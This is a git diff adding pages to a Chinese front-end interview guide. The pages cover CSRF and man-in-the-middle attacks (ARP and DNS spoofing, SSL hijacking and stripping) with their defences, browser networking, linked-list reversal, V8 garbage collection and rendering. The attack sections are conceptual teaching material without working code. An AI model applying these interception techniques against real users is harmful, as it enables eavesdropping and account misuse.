受害者访问该页面后(前提:受害者在 hzfe.org 登录过且产生了 Cookie 信息),浏览器会自动发起这个请求,hzfe.org 就会收到包含受害者身份凭证的一次跨域请求。

若目标网站没有任何防范措施,那攻击者就能冒充受害者完成这一次请求操作。

防范

  • 使用 CSRF Token 验证用户身份
    • 原理:服务端生成 CSRF Token (通常存储在 Session 中),用户提交请求时携带上 Token,服务端验证 Token 是否有效。
    • 优点:能比较有效的防御 CSRF (前提是没有 XSS 漏洞泄露 Token)。
    • 缺点:大型网站中 Session 存储会增加服务器压力,且若使用分布式集群还需要一个公共存储空间存储 Token,否则可能用户请求到不同服务器上导致用户凭证失效;有一定的工作量。
  • 双重 Cookie 验证
    • 原理:利用攻击者不能获取到 Cookie 的特点,在 URL 参数或者自定义请求头上带上 Cookie 数据,服务器再验证该数据是否与 Cookie 一致。
    • 优点:无需使用 Session,不会给服务器压力。
  • 设置白名单,仅允许安全域名请求
  • 增加验证码验证

3. 中间人攻击(MITM)#

原理:中间人攻击是一种通过各种技术手段入侵两台设备通信的网络攻击方法。

man in the middle mitm attack

图片来源 Man in the middle (MITM) attack

成功的中间人攻击主要有两个不同的阶段:拦截解密

3.1 拦截#

即攻击者需要用户数据在到达目标设备前拦截并通过攻击者的网络。分为被动攻击和主动攻击。

常见的被动攻击(也是最简单)的方法,攻击者向公众提供免费的恶意 WiFi 热点,一旦有受害者连接了该热点,攻击者就能完全了解其所有的在线数据交换。

常见的主动攻击有两种:

  1. ARP 欺骗: 攻击者利用 ARP 的漏洞,通过冒充网关或其他主机,使得到达网关或其他主机的流量通过攻击者主机进行转发。
  2. DNS 欺骗: 攻击者冒充域名服务器,将受害者查询的 IP 地址转发到攻击者的 IP 地址。

3.2 解密#

拦截后,若连接是使用 HTTPS 协议即传递的数据用了 SSL / TLS 加密,这时还需要其他手段去解密用户数据。

SSL 劫持(伪造证书)

攻击者在 TLS 握手期间拦截到服务器返回的公钥后,将服务器的公钥替换成自己的公钥并返回给客户端,这样攻击者就能用自己的私钥去解密用户数据,也可以用服务器公钥解密服务器数据。

因为是伪造的证书,所以客户端在校验证书过程中会提示证书错误,若用户仍选择继续操作,此时中间人便能获取与服务端的通信数据。

SSL 剥离

攻击者拦截到用户到服务器的请求后,攻击者继续和服务器保持 HTTPS 连接,并与用户降级为不安全的 HTTP 连接。

服务器可以通过开启 HSTS(HTTP Strict Transport Security)策略,告知浏览器必须使用 HTTPS 连接。但是有个缺点是用户首次访问时因还未收到 HSTS 响应头而不受保护。

3.3 中间人攻击防范#

对于开发者来说:

  • 支持 HTTPS。
  • 开启 HSTS 策略。

对于用户来说:

  • 尽可能使用 HTTPS 链接。
  • 避免连接不知名的 WiFi 热点。
  • 不忽略不安全的浏览器通知。
  • 公共网络不进行涉及敏感信息的交互。
  • 用可信的第三方 CA 厂商,不下载来源不明的证书。

参考资料#

  1. Cross-site scripting
  2. Man in the middle (MITM) attack
Loading script...
+ + + + \ No newline at end of file diff --git a/book1/topic-enter-url-display-xx/index.html b/book1/topic-enter-url-display-xx/index.html new file mode 100644 index 0000000..c24c28e --- /dev/null +++ b/book1/topic-enter-url-display-xx/index.html @@ -0,0 +1,22 @@ + + + + + + +浏览器从输入网址到页面展示的过程 | HZFE - 剑指前端 Offer + + + + +
+

浏览器从输入网址到页面展示的过程

回答关键点#

URL DNS TCP 渲染

浏览器从输入网址到渲染页面主要分为以下几个过程

  • URL 输入
  • DNS 解析
  • 建立 TCP 连接
  • 发送 HTTP / HTTPS 请求(建立 TLS 连接)
  • 服务器响应请求
  • 浏览器解析渲染页面
  • HTTP 请求结束,断开 TCP 连接

知识点深入#

1. URL 输入#

URL地址

URL(统一资源定位符,Uniform Resource Locator)用于定位互联网上资源,俗称网址。

我们在地址栏输入 HZFE 官方网址 hzfe.org 后敲下回车,浏览器会对输入的信息进行以下判断:

  1. 检查输入的内容是否是一个合法的 URL 链接。
  2. 是,则判断输入的 URL 是否完整。如果不完整,浏览器可能会对域进行猜测,补全前缀或者后缀。
  3. 否,将输入内容作为搜索条件,使用用户设置的默认搜索引擎来进行搜索。

大部分浏览器会从历史记录、书签等地方开始查找我们输入的网址,并给出智能提示。

2. DNS(Domain Name System)解析#

因为浏览器不能直接通过域名找到对应的服务器 IP 地址,所以需要进行 DNS 解析,查找到对应的 IP 地址进行访问。

DNS 解析流程如下:

DNS 解析

  1. 在浏览器中输入 hzfe.org 域名,操作系统检查浏览器缓存和本地的 hosts 文件中,是否有这个网址记录,有则从记录里面找到对应的 IP 地址,完成域名解析。
  2. 查找本地 DNS 解析器缓存中,是否有这个网址记录,有则从记录里面找到对应的 IP 地址,完成域名解析。
  3. 使用 TCP/IP 参数中设置的 DNS 服务器进行查询。如果要查询的域名包含在本地配置区域资源中,则返回解析结果,完成域名解析。
  4. 检查本地 DNS 服务器是否缓存该网址记录,有则返回解析结果,完成域名解析。
  5. 本地 DNS 服务器发送查询报文至根 DNS 服务器,根 DNS 服务器收到请求后,用顶级域 DNS 服务器地址进行响应。
  6. 本地 DNS 服务器发送查询报文至顶级域 DNS 服务器。顶级域 DNS 服务器收到请求后,用权威 DNS 服务器地址进行响应。
  7. 本地 DNS 服务器发送查询报文至权威 DNS 服务器,权威 DNS 服务器收到请求后,用 hzfe.org 的 IP 地址进行响应,完成域名解析。

查询通常遵循以上流程,从请求主机到本地 DNS 服务器的查询是递归查询,DNS 服务器获取到所需映射的查询过程是迭代查询。

3. 建立 TCP 连接#

世界上几乎所有的 HTTP 通信都是由 TCP/IP 承载的,TCP/IP 是全球计算机及网络设备都在使用的一种常用的分组交换网络分层。 HTTP 的连接实际上就是 TCP 连接以及其使用规则。 –《HTTP 权威指南》

当浏览器获取到服务器的 IP 地址后,浏览器会用一个随机的端口(1024 < 端口 < 65535)向服务器 80 端口发起 TCP 连接请求(注:HTTP 默认约定 80 端口,HTTPS 为 443 端口)。这个连接请求到达服务端后,通过 TCP 三次握手,建立 TCP 的连接。

3.1 分层模型#

    ----------------------------------  7|   应用层   |           |   HTTP  |
+  6|   表示层   |   应用层   |
+  5|   会话层   |           |         |    ---------------------------------  4|   传输层   |   传输层   | TCP TLS |    ---------------------------------  3|   网络层   |   网络层   |   IP    |    ---------------------------------  2|  数据链路层               |   链路层  1|   物理层    --------------------------------       [OSI]   |   [TCP/IP]

3.2 TCP 三次握手#

# SYN 是建立连接时的握手信号,TCP 中发送第一个 SYN 包的为客户端,接收的为服务端# TCP 中,当发送端数据到达接收端时,接收端返回一个已收到消息的通知。这个消息叫做确认应答 ACK
+  假设有客户端A,服务端B。我们要建立可靠的数据传输。      SYN(=j)       // SYN: A 请求建立连接  A ----------> B                |     SYN(=j+1)  |   // ACK: B 确认应答 A 的 SYN     SYN(=k)    |   // SYN: B 发送一个 SYN  A <-----------  |  |  ACK(=k+1)   -----------> B   // ACK: A 确认应答 B 的包
+
  1. 客户端发送 SYN 包(seq = j)到服务器,并进入 SYN_SEND 状态,等待服务器确认。
  2. 服务器收到 SYN 包,必须确认客户的 SYN(ACK = k + 1),同时自己也发送一个 SYN 包(seq = k),即 SYN+ACK 包,此时服务器进入 SYN_RECV 状态。
  3. 客户端收到服务器的 SYN+ACK 包,向服务器发送确认包 ACK(ACK = k + 1),此包发送完毕,客户端和服务器进入 ESTABLISHED 状态,完成三次握手。

4. TLS 协商#

TLS协商

建立连接后就可以通过 HTTP 进行数据传输。如果使用 HTTPS,会在 TCP 与 HTTP 之间多添加一层协议做加密及认证的服务。HTTPS 使用 SSL(Secure Socket Layer) 和 TLS(Transport Layer Security) 协议,保障了信息的安全。

  • SSL

    • 认证用户和服务器,确保数据发送到正确的客户端和服务器。
    • 加密数据防止数据中途被窃取。
    • 维护数据的完整性,确保数据在传输过程中不被改变。
  • TLS

    • 用于在两个通信应用程序之间提供保密性和数据完整性。该协议由两层组成:TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。较低的层为 TLS 记录协议,位于某个可靠的传输协议(例如 TCP)上面。

4.1 TLS 握手协议#

TLS握手协议

  1. 客户端发出一个 client hello 消息,携带的信息包括:所支持的 SSL/TLS 版本列表;支持的与加密算法;所支持的数据压缩方法;随机数 A。
  2. 服务端响应一个 server hello 消息,携带的信息包括:协商采用的 SSL/TLS 版本号;会话 ID;随机数 B;服务端数字证书 serverCA;由于双向认证需求,服务端需要对客户端进行认证,会同时发送一个 client certificate request,表示请求客户端的证书。
  3. 客户端校验服务端的数字证书;校验通过之后发送随机数 C,该随机数称为 pre-master-key,使用数字证书中的公钥加密后发出;由于服务端发起了 client certificate request,客户端使用私钥加密一个随机数 clientRandom 随客户端的证书 clientCA 一并发出。
  4. 服务端校验客户端的证书,并成功将客户端加密的随机数 clientRandom 解密;根据随机数 A/随机数 B/随机数 C(pre-master-key) 产生动态密钥 master-key,加密一个 finish 消息发至客户端。
  5. 客户端根据同样的随机数和算法生成 master-key,加密一个 finish 消息发送至服务端。
  6. 服务端和客户端分别解密成功,至此握手完成,之后的数据包均采用 master-key 进行加密传输。

5. 服务器响应#

当浏览器到 web 服务器的连接建立后,浏览器会发送一个初始的 HTTP GET 请求,请求目标通常是一个 HTML 文件。服务器收到请求后,将发回一个 HTTP 响应报文,内容包括相关响应头和 HTML 正文。

<html> <head>  <meta charset="UTF-8"/>  <title>我的博客</title>  <link rel="stylesheet" src="styles.css"/>  <scrIPt src="index.js"></scrIPt></head><body>  <h1 class="heading">首页</h1>  <p>A paragraph with a <a href="https://hzfe.org/">link</a></p>  <scrIPt src="index.js"></scrIPt></body></html>

5.1 状态码#

状态码是由 3 位数组成,第一个数字定义了响应的类别,且有五类可能取值

  • 1xx:指示信息——表示请求已接收,继续处理
  • 2xx:成功——表示请求已被成功接收、理解、接受
  • 3xx:重定向——要完成请求必须进行更进一步的操作
  • 4xx:客户端错误——请求有语法错误或请求无法实现
  • 5xx:服务器端错误——服务器未能实现合法的请求

5.2 常见的请求头和字段#

  • Cache-Control:must-revalidate、no-cache、private(是否需要缓存资源)
  • Connection:keep-alive(保持连接)
  • Content-Encoding:gzip(web 服务器支持的返回内容压缩编码类型)
  • Content-Type:text/html;charset=UTF-8(文件类型和字符编码格式)
  • Date:Sun, 21 Sep 2021 06:18:21 GMT(服务器消息发出的时间)
  • Transfer-Encoding:chunked(服务器发送的资源的方式是分块发送)

5.3 HTTP 响应报文#

响应报文由四部分组成(响应行 + 响应头 + 空行 + 响应体)

  • 状态行:HTTP 版本 + 空格 + 状态码 + 空格 + 状态码描述 + 回车符(CR) + 换行符(LF)
  • 响应头:字段名 + 冒号 + 值 + 回车符 + 换行符
  • 空行:回车符 + 换行符
  • 响应体:由用户自定义添加,如 post 的 body 等

6. 浏览器解析并绘制#

不同的浏览器引擎渲染过程都不太一样,这里以 Chrome 浏览器渲染方式为例。

webkit render

  1. 处理 HTML 标记并构建 DOM 树。
  2. 处理 CSS 标记并构建 CSSOM 树。
  3. 将 DOM 与 CSSOM 合并成一个渲染树。
  4. 根据渲染树来布局,以计算每个节点的几何信息。
  5. 将各个节点绘制到屏幕上。

7. TCP 断开连接#

现在的页面为了优化请求的耗时,默认都会开启持久连接(keep-alive),那么一个 TCP 连接确切关闭的时机,是这个 tab 标签页关闭的时候。这个关闭的过程就是四次挥手。关闭是一个全双工的过程,发包的顺序是不一定的。一般来说是客户端主动发起的关闭,过程如下图所示: +TCP 四次挥手

  1. 主动关闭方发送一个 FIN,用来关闭主动方到被动关闭方的数据传送,也就是主动关闭方告诉被动关闭方:我已经不会再给你发数据了(在 FIN 包之前发送出去的数据,如果没有收到对应的 ACK 确认报文,主动关闭方依然会重发这些数据),但此时主动关闭方还可以接受数据。
  2. 被动关闭方收到 FIN 包后,发送一个 ACK 给对方,确认序号为收到序号+1(与 SYN 相同,一个 FIN 占用一个序号)。
  3. 被动关闭方发送一个 FIN,用来关闭被动关闭方到主动关闭方的数据传送,也就是告诉主动关闭方,我的数据也发送完了,不会再给你发数据了。
  4. 主动关闭方收到 FIN 后,发送一个 ACK 给被动关闭方,确认序号为收到序号+1,至此,完成四次挥手。

参考资料#

  1. How_browsers_work
  2. DOMTokenList
  3. 图解 SSL/TLS 协议
  4. DNS 域名系统
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/algorithm-reverse-linked-list/index.html b/book2/algorithm-reverse-linked-list/index.html new file mode 100644 index 0000000..d540d95 --- /dev/null +++ b/book2/algorithm-reverse-linked-list/index.html @@ -0,0 +1,17 @@ + + + + + + +反转链表 | HZFE - 剑指前端 Offer + + + + +
+

反转链表

题目描述#

定义一个函数,输入一个链表的头节点,反转该链表并输出反转后链表的头节点。

反转链表

示例:

输入: 1->2->3->4->5->NULL输出: 5->4->3->2->1->NULL

解法一:迭代(双指针)#

在线链接

本方法是对链表进行遍历,然后在访问各节点时修改 next 的指向,达到反转链表的目的。

  1. 初始化 cur 和 pre 两个节点,分别指向 head 和 null。
  2. 对链表进行循环,声明 temp 节点用来保存当前节点的下一个节点。
  3. 修改当前节点 cur 的 next 指针指向为 pre 节点。
  4. pre 节点修改为 cur 节点。
  5. cur 节点修改为 temp 节点。
  6. 继续进行处理,直到 cur 节点为 null,返回 pre 节点。
/** * Definition for singly-linked list. * function ListNode(val) { *     this.val = val; *     this.next = null; * } *//** * @param {ListNode} head * @return {ListNode} */const reverseList = (head) => {  let cur = head; // 正向链表的头指针  let pre = null; // 反向链表的头指针  while (cur) {    const temp = cur.next; // 暂存当前节点的后续节点,用于更新正向链表    cur.next = pre; // 将当前节点指向反向链表,这是一个建立反向链接的过程    pre = cur; // 更新反向链表的头指针为当前已处理的节点,反向链表的该轮构建完成    cur = temp; // 将正向链表头指针替换为暂存的节点,正向链表处理完成,开始下一轮处理  }  return pre;};

复杂度分析#

  • 时间复杂度 O(N):遍历链表使用线性大小时间。
  • 空间复杂度 O(1):变量 pre 和 cur 使用常数大小额外空间。

解法二:递归#

在线链接

当使用递归对链表进行处理时,从链表的第一个节点出发,然后找到最后一个节点,该节点就是反转链表的头结点,然后进行回溯处理。

  1. 初始链表的头结点,head 标识。
  2. 如果 head 为空或者 head.next 为空,返回 head。
  3. 定义 reverseHead 节点,保存反转的链表值。
  4. 每次让 head 下一个节点的 next 指向 head,形成反转。
  5. 递归处理到最后一个节点,返回 reverseHead。
/** * Definition for singly-linked list. * function ListNode(val) { *     this.val = val; *     this.next = null; * } *//** * @param {ListNode} head * @return {ListNode} */const reverseList = (head) => {  // 判断当前节点是否还需要处理  if (head == null || head.next == null) {    return head;  }  // 递归处理后续节点  const reverseHead = reverseList(head.next);  // 局部反转节点  head.next.next = head;  head.next = null;  return reverseHead;};

复杂度分析:#

  • 时间复杂度 O(N):n 是链表的长度,需要对链表的每个节点进行反转操作。
  • 空间复杂度 O(N):n 是链表的长度,空间复杂度主要取决于递归调用的栈空间,最多为 n 层。

参考资料#

  1. 剑指 offer
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/browser-garbage/index.html b/book2/browser-garbage/index.html new file mode 100644 index 0000000..5bba72e --- /dev/null +++ b/book2/browser-garbage/index.html @@ -0,0 +1,17 @@ + + + + + + +垃圾回收机制 | HZFE - 剑指前端 Offer + + + + +
+

垃圾回收机制

相关问题#

  • 什么是内存泄漏
  • 常见的垃圾回收算法
  • 如何排查内存泄漏

回答关键点#

引用计数法 标记清除法 Mark-Compact(标记整理) Scavenger(清道夫)

GC(Garbage Collection,垃圾回收)是一种内存自动管理机制, 垃圾回收器(Garbage Collector)可以自动回收分配给程序的已经不再使用的内存。常见的 GC 算法有引用计数法和标记清除法等。V8(JavaScript 引擎,提供执行 JavaScript 的运行时环境)的垃圾回收器算法主要由 Mark-Compact 和 Scavenger 构成。

知识点深入#

1. 内存泄漏#

内存泄漏是指,应当被回收的对象没有被正常回收,变成常驻老生代的对象,导致内存占用越来越高。内存泄漏会导致应用程序速度变慢、高延时、崩溃等问题。

1.1 内存生命周期#

  1. 分配:按需分配内存。
  2. 使用:读写已分配的内存。
  3. 释放:释放不再需要的内存。

1.2 内存泄漏常见原因#

  • 创建全局变量,且没有手动回收。
  • 事件监听器 / 定时器 / 闭包等未正常清理。
  • 使用 JavaScript 对象来做缓存,且不设置过期策略和对象大小控制。
  • 队列拥塞所带来的消费不及时问题。

2. Reference Counting(引用计数)#

Reference Counting 是常见的垃圾回收算法,其核心思路是:将资源(比如对象)的被引用次数保存起来,当被引用次数为零时释放。该方法的局限性:当出现循环引用时,互相引用的对象不会被回收。

3. V8 垃圾回收机制#

V8 中有两个垃圾收集器。主要的 GC 使用 Mark-Compact 垃圾回收算法,从整个堆中收集垃圾。小型 GC 使用 Scavenger 垃圾回收算法,收集新生代垃圾。

两种不同的算法应对不同的场景:

  • 使用 Scavenger 算法主要处理存活周期短的对象中的可访问对象。
  • 使用 Mark-Compact 算法主要处理存活周期长的对象中的不可访问的对象。

因为新生代中存活的可访问对象占少数,老生代中的不可访问对象占少数,所以这两种回收算法配合使用十分高效。

3.1 分代垃圾收集#

在 V8 中,所有的 JavaScript 对象都通过来分配。V8 将其管理的堆分成两代:新生代和老生代。其中新生代又可细分为两个子代(Nursery、Intermediate)。

即新生代中的对象为存活时间较短的对象,老生代中的对象为存活时间较长或常驻内存的对象。

image

3.2 Mark-Compact 算法(Major GC)#

Mark-Compact 算法可以看作是 Mark-Sweep(标记清除)算法和 Cheney 复制算法的结合。该算法主要分为三个阶段:标记、清除、整理。

image

  1. 标记(Mark)

    标记是找所有可访问对象的过程。GC 会从一组已知的对象指针(称为根集,包括执行堆栈和全局对象等)中,进行递归标记可访问对象。

  2. 清除(Sweep)

    清除是将不可访问的对象留下的内存空间,添加到空闲链表(free list)的过程。未来为新对象分配内存时,可以从空闲链表中进行再分配。

  3. 整理(Compact)

    整理是将可访问对象,往内存一端移动的过程。主要解决标记清除阶段后,内存空间出现较多内存碎片时,可能导致无法分配大对象,而提前触发垃圾回收的问题。

3.3 Scavenger 算法(Minor GC)#

V8 对新生代内存空间采用了 Scavenger 算法,该算法使用了 semi-space(半空间) 的设计:将堆一分为二,始终只使用一半的空间:From-Space 为使用空间,To-Space 为空闲空间。

image

新生代在 From-Space 中分配对象;在垃圾回收阶段,检查并按需复制 From-Space 中的可访问对象到 To-Space 或老生代,并释放 From-Space 中的不可访问对象占用的内存空间;最后 From-Space 和 To-Space 角色互换。

参考资料#

  1. Memory Management
  2. Trash talk: the Orinoco garbage collector
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/browser-render-mechanism/index.html b/book2/browser-render-mechanism/index.html new file mode 100644 index 0000000..9729567 --- /dev/null +++ b/book2/browser-render-mechanism/index.html @@ -0,0 +1,19 @@ + + + + + + +浏览器渲染机制 | HZFE - 剑指前端 Offer + + + + +
+

浏览器渲染机制

相关问题#

  • 浏览器如何渲染页面
  • 有哪些提高浏览器渲染性能的方法

回答关键点#

DOM CSSOM 线程互斥 渲染树 Compositing GPU 加速

当浏览器进程获取到 HTML 的第一个字节开始,会通知渲染进程开始解析 HTML,将 HTML 转换成 DOM 树,并进入渲染流程。一般所有的浏览器都会经过五大步骤,分别是:

  1. PARSE:解析 HTML,构建 DOM 树。
  2. STYLE:为每个节点计算最终的有效样式。
  3. LAYOUT:为每个节点计算位置和大小等布局信息。
  4. PAINT:绘制不同的盒子,为了避免不必要的重绘,将会分成多个层进行处理。
  5. COMPOSITE & RENDER:将上述不同的层合成为一张位图,发送给 GPU,渲染到屏幕上。

为了提高浏览器的渲染性能,通常的手段是保证渲染流程不被阻塞,避免不必要的绘制计算和重排重绘,利用 GPU 硬件加速等技术来提高渲染性能。

知识点深入#

1. 浏览器的渲染流程#

Chromium 的渲染流程的主要步骤如下图所示:

render flow

图片来源 Life of a Pixel

1.1 Parse 阶段:解析 HTML#

构建 DOM 树

渲染进程主线程解析 HTML 并构建出结构化的树状数据结构 DOM 树,需要经历以下几个步骤:

  1. Conversion(转换):浏览器从网络或磁盘读取 HTML 文件原始字节,根据指定的文件编码(如 UTF-8)将字节转换成字符。
  2. Tokenizing(分词):浏览器根据 HTML 规范将字符串转换为不同的标记(如 <html>, <body>)。
  3. Lexing(语法分析):上一步产生的标记将被转换为对象,这些对象包含了 HTML 语法的各种信息,如属性、属性值、文本等。
  4. DOM construction(DOM 构造):因为 HTML 标记定义了不同标签之间的关系,上一步产生的对象会链接在一个树状数据结构中,以标识父子、兄弟关系。

构建 DOM 的流程如下图所示:

DOM

图片来源 Constructing the Object Model

次级资源加载

一个网页通常会使用多个外部资源,如图片、JavaScript、CSS、字体等。主线程在解析 DOM 的过程中遇到这些资源后会一一请求。为了加速渲染流程,会有一个叫做预加载扫描器(preload scanner)线程并发运行。如果 HTML 中存在 img 或 link 之类的内容,则预加载扫描器会查看 HTML parser 生成的标记,并发送请求到浏览器进程的网络线程获取这些资源。

JavaScript 可能阻塞解析

当 HTML 解析器发现 script 标签时,会暂停 HTML 的解析,转而开始加载、解析和执行 JavaScript。因为 JS 可能会改变 DOM 的结构。如果不想因 JS 阻塞 HTML 的解析,可以为 script 标签添加 defer 属性或将 script 放在 body 结束标签之前,浏览器会在最后执行 JS 代码,避免阻塞 DOM 构建。

1.2 Style 阶段:样式计算#

CSS 引擎处理样式的过程分为三个阶段:

  1. 收集、划分和索引所有样式表中存在的样式规则,CSS 引擎会从 style 标签,css 文件及浏览器代理样式中收集所有的样式规则,并为这些规则建立索引,以方便后续的高效查询。
  2. 访问每个元素并找到适用于该元素的所有规则,CSS 引擎遍历 DOM 节点,进行选择器匹配,并为匹配的节点执行样式设置。
  3. 结合层叠规则和其他信息为节点生成最终的计算样式,这些样式的值可以通过 window.getComputedStyle() 获取。

在大型网站中,会存在大量的 CSS 规则,如果为每个节点都保存一份样式值,会导致内存消耗过大。作为替代,CSS 引擎通常会创建共享的样式结构,计算样式对象一般有指针指向相同的共享结构。

附加了计算样式的 DOM 树,一般被称为 CSSOM(CSS Object Model):

CSSOM

图片来源 Constructing the Object Model

CSSOM 和 DOM 是并行构建的,构建 CSSOM 不会阻塞 DOM 的构建。但 CSSOM 会阻塞 JS 的执行,因为 JS 可能会操作样式信息。虽然 CSSOM 不会阻塞 DOM 的构建,但在进入下一阶段之前,必须等待 CSSOM 构建完成。这也是通常所说的 CSSOM 会阻塞渲染。

1.3 Layout 阶段#

创建 LayoutObject(RenderObject) 树

有了 DOM 树和 DOM 树中元素的计算样式后,浏览器会根据这些信息合并成一个 layout 树,收集所有可见的 DOM 节点,以及每个节点的所有样式信息。

Layout 树和 DOM 树不一定是一一对应的,为了构建 Layout 树,浏览器主要完成了下列工作:

  1. 从 DOM 树的根节点开始遍历每个可见节点。
    • 某些不可见节点(例如 script、head、meta 等),它们不会体现在渲染输出中,会被忽略。
    • 某些通过设置 display 为 none 隐藏的节点,在渲染树中也会被忽略。
    • 为伪元素创建 LayoutObject。
    • 为行内元素创建匿名包含块对应的 LayoutObject。
  2. 对于每个可见节点,为其找到适配的 CSSOM 规则并应用它们。
  3. 产出可见节点,包含其内容和计算的样式。

Construct Render Tree

图片来源 Render-tree Construction

布局计算

上一步计算了可见的节点及其样式,接下来需要计算它们在设备视口内的确切位置和大小,这个过程一般被称为自动重排。

浏览器的布局计算工作包含以下内容:

  1. 根据 CSS 盒模型及视觉格式化模型,计算每个元素的各种生成盒的大小和位置。
  2. 计算块级元素、行内元素、浮动元素、各种定位元素的大小和位置。
  3. 计算文字,滚动区域的大小和位置。
  4. LayoutObject 有两种类型:
    • 传统的 LayoutObject 节点,会把布局运算的结果重新写回布局树中。
    • LayoutNG(Chrome 76 开始启用) 节点的输出是不可变的,会保存在 NGLayoutResult 中,这是一个树状的结构,相比之前的 LayoutObject,少了很大回溯计算,提高了性能。

1.4 Paint 阶段#

Paint 阶段将 LayoutObject 树转换成供合成器使用的高效渲染格式,包括一个包含 display item 列表的 cc::Layers 列表,与该列表与 cc::PropertyTrees 关联。

构建 PaintLayer(RenderLayer) 树

构建完成的 LayoutObject 树还不能拿去显示,因为它不包含绘制的顺序(z-index)。同时,也为了考虑一些复杂的情况,如 3D 变换、页面滚动等,浏览器会对上一步的节点进行分层处理。这个处理过程被称为建立层叠上下文。

浏览器会根据 CSS 层叠上下文规范,建立层叠上下文,常见情况如下:

  1. DOM 树的 Document 节点对应的 RenderView 节点。
  2. DOM 树中 Document 节点的子节点,也就是 HTML 节点对应的 RenderBlock 节点。
  3. 显式指定 CSS 位置的节点(position 为 absolute 或者 fixed)。
  4. 具有透明效果的节点。
  5. 具有 CSS 3D 属性的节点。
  6. 使用 Canvas 元素或者 Video 元素的节点。

浏览器遍历 LayoutObject 树的时候,建立了 PaintLayer 树,LayoutObject 与 PaintLayer 也不一定是一一对应的。每个 LayoutObject 要么与自己的 PaintLayer 关联,要么与拥有 PaintLayer 的第一个祖先的 PaintLayer 关联。

构建 cc::Layer 与 display items

浏览器会继续根据 PaintLayer 树创建 cc::Layer 列表。cc::Layer 是列表状结构,每个 layer 包含了个 DisplayItem 列表,每个 DisplayItem 包含了实际的 paint op 指令。将页面分层,可以让一个图层独立于其他的图层进行变换和光栅化处理。

  1. 合成更新(Compositing update)

    • 依据 PaintLayer 决定分层(GraphicsLayers)
    • 这个策略被称为 CompositeBeforePaint,未来会被 CompositeAfterPaint 替代。
  2. PrePaint

    • PaintInvalidator 进行失效检查,找出需要绘制的 display items。
    • 构建 paint property 树,该树能使动画、页面滚动,clip 等变化仅在合成线程运行,提高性能。 +image

      图片来源 Compositor Property Trees

  3. Paint

    • 遍历 LayoutObject 树并创建 display items 列表。
    • 为共享同样 property tree 状态的 display items 列表创建 paint chunks 分组。
    • 将结果 commit 到 compositor。
    • CompositeAfterPaint 将在此时决定分层。
    • 将 paint chunks 通过 cc::Layer 列表传递给 compositor。
    • 将 property 树转换为 cc::PropertyTrees。

上面的流程中,有两个不同的创建合成层的时机,一个是 paint 之前的 CompositeBeforePaint,该操作在渲染主线程中完成。一个是 paint 之后的 CompositeAfterPaint,后续创建 layer 的操作在 CC(Chromium Compositor)线程中完成。

1.5 合成 Compositing#

合成阶段在 CC(Chromium Compositor)线程中进行。

commit

当 Paint 阶段完成后,主线程进入 commit 阶段,将 cc::Layer 中的 layer list 和 property 树更新到 CC 线程的 LayerImpl 中,commit 完成。commit 进行的过程中,主线程被阻塞。

tiling & raster

raster(光栅化)是将 display item 中的绘制操作转换为位图的过程。

光栅化的主要操作流程如下:

  1. tiling:将 layer 分成 tiles(图块)。 因为有的 layer 可能很大(如整个文档的滚动根节点),对整层的光栅化操作代价昂贵,且 layer 中有的部分是不可见的,会造成不必要的浪费。
  2. tiles 是光栅化的基本单元。光栅化操作是通过光栅线程池处理的。离视口更近的 tiles 具有更高的优先级,将优先处理。
  3. 一个 layer 实际上会生成多种分辨率的 tiles。
  4. raster 同样也会处理页面引用的图片资源,display items 中的 paint ops 引用了这些压缩数据,raster 会调用合适的解码器来解压这些数据。
  5. raster 会通过 Skia 来进行 OpenGL 调用,光栅化数据。
  6. 渲染进程是运行在沙箱中的,不能直接进行系统调用。paint ops 通过 IPC(MOJO)传递给 GPU 进程,GPU 进程会执行真实的 OpenGL(为了保证性能,在 Windows 上转为 DirectX)调用。
  7. 光栅化的位图结果保存在 GPU 内存中,通常作为 OpenGL 材质对象保存。
  8. 双缓冲机制:主线程随时会有 commit 到来,当前的光栅化行为在 pending tree(LayerImpl)上进行,一旦光栅化操作完成,将 pending tree 变为 active tree,后续的 draw 操作在 active tree 上进行。

draw

当所有的 tiles 都完成光栅化后,会生成 draw quads(绘制四边形)。每个 draw quads 是包含一个在屏幕特定位置绘制 tile 的命令,该命令同时考虑了所有应用到 layer tree 的变换。每个四边形引用了内存中 tile 的光栅化输出。四边形被包裹在合成帧对象(compositor frame object)中,然后提交(submit)到浏览器进程。

display compositor(viz,visual 的简称)

viz 位于 GPU 进程中,viz 接收来自浏览器的合成帧,合成帧来自多个渲染进程,以及浏览器自身 UI 的 compositor。

合成帧和屏幕上将要绘制的位置关联,该位置叫做 surface。surface 可以嵌套其他 surface,浏览器 UI 的 surface 嵌套了渲染进程的 surface,渲染进程的 surface 嵌套了其他跨域 iframes(同源的 iframe 共享相同的渲染进程) 的 surface。viz 同步传入的帧,并处理嵌套 surfaces 的依赖(surface aggregation)。

最终的显示流程:

  1. viz 会发出 OpenGL 调用将合成帧中的 quads 发送到 GPU 线程的 backbuffer 中。
  2. 在新的模式中,viz 会使用 Skia 代替原始 OpenGL 调用。
  3. 在大部分平台上,viz 的输出也是双缓冲结构,draw 首先到达 backbuffer,通过 swapping 操作转换成 frontbuffer 最终显示在屏幕上。

线程对浏览器事件的处理

合成的优点是它在不涉及渲染主线程的情况下完成的。合成器不需要等待样式计算或 JavaScript 执行。只和合成相关的动画被认为是获得流畅性能的最佳选择。同时,合成器还负责处理页面的滚动,滚动的时候,合成器会更新页面的位置,并且更新页面的内容。

当一个没有绑定任何事件的页面发生滚动时,合成器可以独立于渲染主线程之外进行合成帧的的创建,保证页面的流程滚动。当页面中的某一区域绑定了 JS 事件处理程序时,CC 线程会将这一区域标记为 Non-Fast Scrollable Region。如果事件来自于该区域之外,则 CC 线程继续合成新的帧,而无需等待主线程。

在开发中,我们通常会使用事件委托来简化逻辑,但是这会使整个绑定事件的区域变成 Non-Fast Scrollable Region。为了减轻这种情况对滚动造成的影响,你可以传入 passive: true 选项到事件监听器中。

document.body.addEventListener(  "touchstart",  (event) => {    if (event.target === area) {      event.preventDefault();    }  },  { passive: true });

2. 浏览器渲染性能的优化#

上一节中是一轮典型的浏览器渲染流程,在流程完成之后,DOM、CSSOM、LayoutObject、PaintLayer 等各种树状数据结构都会保留下来,以便在用户操作、网络请求、JS 执行等事件发生时,重新触发渲染流程。

2.1 减少渲染中的重排重绘#

